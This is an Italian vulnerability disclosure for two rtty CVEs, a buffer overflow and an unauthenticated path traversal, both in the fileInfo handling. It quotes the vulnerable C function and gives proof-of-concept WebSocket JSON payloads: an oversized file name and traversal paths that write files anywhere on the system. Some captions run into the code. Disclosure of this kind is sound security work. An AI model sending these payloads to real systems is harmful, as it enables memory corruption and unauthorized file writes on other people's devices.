
Dettagli sulle vulnerabilità CVE-2025-56708 e CVE-2025-56709
Nelle versioni di rtty <=v9.0.0, il metodo fileinfo presenta una vulnerabilità di overflow che causa la scrittura continua di dati nella variabile globale savepath, innescando un buffer overflow.
savepath può essere scritta continuamente, causando overflow
name utilizza di fatto lo spazio di memoria di savepathcheck_space_failbuffer_pull continua ad aggiungere dati nello spazio di name, cioè savepathstatic void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
char *name = savepath + strlen(savepath);【1】
struct mntent *ment;
struct statvfs sfs;
char buf[512];
int fd;
ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);
ment = find_mount_point(savepath);
if (ment) {
uint64_t avail;
if (!strcmp(ment->mnt_type, "ramfs")) {
struct sysinfo si;
if (sysinfo(&si)) {
log_err("download file fail: '%s'\n", strerror(errno));
goto check_space_fail;
}
avail = si.freeram;
} else if (!statvfs(ment->mnt_dir, &sfs)) {
avail = sfs.f_bavail * sfs.f_frsize;
} else {
log_err("download file fail: '%s'\n", strerror(errno));
goto check_space_fail;
}
if (ctx->total_size > avail) {
log_err("download file fail: no enough space\n");
goto check_space_fail;
}
} else {
log_err("download file fail: not found mount point of '%s'\n", savepath);
goto check_space_fail;【2】
}
buffer_pull(info, name, len - 4);
if (!access(savepath, F_OK)) {
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
log_err("the file '%s' already exists\n", name);
goto open_fail;
}
fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
if (fd < 0) {
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
log_err("create file '%s' fail: %s\n", name, strerror(errno));
goto open_fail;
}
log_info("download file: %s, size: %u\n", savepath, ctx->total_size);
if (fchown(fd, ctx->uid, ctx->gid) < 0)
log_err("fchown %s fail: %s\n", savepath, strerror(errno));
if (ctx->total_size == 0)
close(fd);
else
ctx->fd = fd;
memcpy(buf, &ctx->total_size, 4);
strcpy(buf + 4, name);
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));
return;
check_space_fail:
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
buffer_pull(info, name, len - 4);【3】
open_fail:
file_context_reset(ctx);
}
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}
Le versioni di rtty <=v9.0.0 presentano una vulnerabilità di path traversal. Nel protocollo di interazione, il metodo fileinfo ha un bug logico che permette a un attaccante di dirottare il WebSocket e invocare il metodo fileinfo, caricando file in qualsiasi percorso del sistema senza necessità di autenticazione.
fileInfo, caricare file in qualsiasi directory del sistema senza che l'utente sia loggato.{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
